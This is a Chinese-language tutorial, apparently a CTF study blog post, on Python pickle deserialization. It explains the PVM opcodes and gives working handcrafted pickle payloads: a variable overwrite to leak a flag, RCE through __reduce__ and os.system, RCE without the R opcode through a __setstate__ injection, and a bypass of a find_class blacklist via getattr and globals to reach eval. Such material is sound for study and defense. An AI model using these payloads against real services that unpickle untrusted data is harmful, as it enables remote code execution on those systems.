0x01.C操作符的变量覆盖

demo:

import pickle
import secret
import os
import base64

class pickle_test:
    def __init__(self):
        self.name = 'Demo'
        self.sign = 'Hello'

ser = base64.b64decode(input("input:"))
print(ser)
# 过滤R操作符,防止危险函数
if b'R' in ser:
    os._exit(0)
else:
    obj = pickle.loads(ser)

if obj.name == secret.name and obj.sign == secret.sign:
    print(secret.flag)
else:
    print("Come on")

先放出Poc:

import base64
poc = b'''c__main__
pickle_test
)\x81}(Vname
csecret
name
Vsign
csecret
sign
ub.
'''
print(base64.b64encode(poc))

1.png

secret.py

name = "xux"
sign = "114514"
flag = "flag{1145141919}"

我们用pickletools来更形象的看一看这个过程

import pickletools
poc = b'''c__main__
pickle_test
)\x81}(Vname
csecret
name
Vsign
csecret
sign
ub.
'''
poc = pickletools.optimize(poc)
pickletools.dis(poc)

2.png

首先是c操作符,它的作用是连续往后读取两个字符串(以\n结尾),第一个字符串记为module,第二个字符串记为name。并把module.name压入当前栈中。此时向当前栈中压入了__main__.pickle_test

然后是)操作符,该操作符会压入一个空元组

接下来是\x81操作符,进行的操作是从栈中弹出一个元素 记为args,在弹出一个元素记为cls,并执行cls.__new__(cls,*args),也就是使用__new__方法形成了一个新的对象,然后把这个对象压入当前栈

此时当前栈中只有一个实例化的pickle_test类,而该实例中什么都没有。因为初始化他的是一个空元组

接下来是}操作符,该操作符的作用是将一个空的字典压入当前栈

然后就是(MARK操作符,它会把现在当前栈中的内容打包成一个列表,然后整体压入前序栈,最后清空当前栈

此时当前栈为空 前序栈为list[dict{},实例化的类]

然后是V操作符, 向当前栈中压入UNICODE字符串name

然后是c操作符 获取一个全局对象secret.name压入当前栈。下面两步与这两步类似

然后是u操作符,它做的事情比较多
它首先会执行pop_mark,并把当前栈中的内容打包成一个list,然后把当前栈中的内容恢复到MARK操作符之前。然后拿到当前栈的最后的元素,并且规定该元素必须是一个空的字典,然后一组一组地读list中的元素,前者作为key,后者作为value,存放进那个空字典中。执行完这些操作后,当前栈中的元素为一个存放着元素的字典,一个实例化的pickle_test类

下一个操作符是b 它做的事情称为BUILD:把当前栈的栈顶元素存入内存,记为state 然后弹出栈。再把当前栈的栈顶元素记为topele,用state来初始化实例topele,然后把得到的实例放进当前栈中。

python官方文档中称上述过程为实例的解封。当解封时,如果定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的state对象必须是dict。如果没有定义此方法的话,先前封存的state对象必须是dict,且该dict内容会在解封时赋给新实例的__dict__

最后一步是.,程序结束,栈顶的一个元素作为pickle.loads()的返回值

0x02.普通的RCE

import pickle
class A:
    def __reduce__(self):
        return(__import__('os').system, ('whoami', ))
a = A()
poc = pickle.dumps(a)
pickle.loads(poc)

可以看到,在反序列化的时候执行了系统命令 我们来使用pickletools看一下PVM干了什么

import pickletools
class A:
    def __reduce__(self):
        return(__import__('os').system, ('whoami', ))
a = A()
poc = pickle.dumps(a)

3.png

R操作符的作用:把当前栈的栈顶元素记为args,然后弹出栈。把当前栈的栈顶元素记为func,然后弹出栈
args为参数(该参数必须是元组),执行func,把结果压入栈中

0x03.不用R操作符RCE

让我们回想一下b操作符都干了什么:当解封时,如果类定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的state对象必须是dict。没有定义此方法的话,先前封存的state对象必须是dict,且该dict内容会在解封时赋给新实例的__dict__

现在设想这样一种情况:如果一个类(暂且称之为Test)原先是没有定义__setstate__方法的,如果我们现在使用{"__setstate__":os.system}这个字典来初始化test类的对象(b操作符) 现在这个对象便有了__setstate__方法,之后我们再把待执行的命令作为参数,再次使用b操作符来执行build命令,由于此时对象存在__setstate__方法,所以便会执行os.system('whoami'),成功实现了RCE

import pickle
import pickletools
class Test:
    pass
poc = b'''c__main__
Test
)\x81}(V__setstate__
cos
system
ubVwhoami
b.
'''
pickletools.dis(poc)
pickle.loads(poc)

4.png

0x04.绕过黑名单RCE

重写find_class:

在python官方文档中首先就提到了pickle模块是不安全的。因为在默认情况下,解封将会导入在pickle数据中找到的任意类和对象。官方给出了一种解决办法:可以通过重写find_class()方法来控制要解封的对象。
关于find_class:

1.从opcode角度看,当出现c、i、b'\x93'时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。

2.从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。

python的官方例子:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

重写了Unpicker.find_class()方法,采用了白名单的方式来限制可以使用的模块为{'range', 'complex', 'set', 'frozenset', 'slice'}

除了上面中提到的利用白名单方法来限制解封的对象,在题目中遇到的另一种很常见的题目就是利用黑名单来进行过滤:

import pickle
import io
import builtins


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        if module == 'builtins' and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(data)

上面的代码使用了黑名单过滤的方法,当前我们可以使用的模块就是builtins下的除黑名单之外的模块。不过题目并没有过滤getattr,我们可以通过该方法来获取到builtins下的eval等危险函数,一个常规的思路就是getattar(builtins, 'eval')

5.png

那么现在需要做的就是:
1.引入builtins模块,然后获取getattr方法
2.再获取builtins模块,然后用getattr来获取eval等危险函数
3.利用eval来执行信息

第一步操作:

cbuiltins
getattr
.

这样就拿到了builtins.getattr

然后是第二步操作:获得builtins模块
思路:
利用getattr获取到builtins模块下的dict中的get方法
利用拿到的get方法去获取builtins.global()中的builtins拿到builtins模块

cbuiltins
getattr
(cbuiltins
dict
Vget
tR.

拿到get方法

cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1

这里压入空元组是因为builtins.globals()无参数
拿到了builtins模块并放入了内存中

最终Poc:

cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
cbuiltins
getattr
(g1
Veval
tR(V__import__('os').system('whoami')
tR.

7.png

8.png


参考链接:

一篇文章带你理解漏洞之 Python 反序列化漏洞

Python Pickle反序列化安全问题

上一篇 下一篇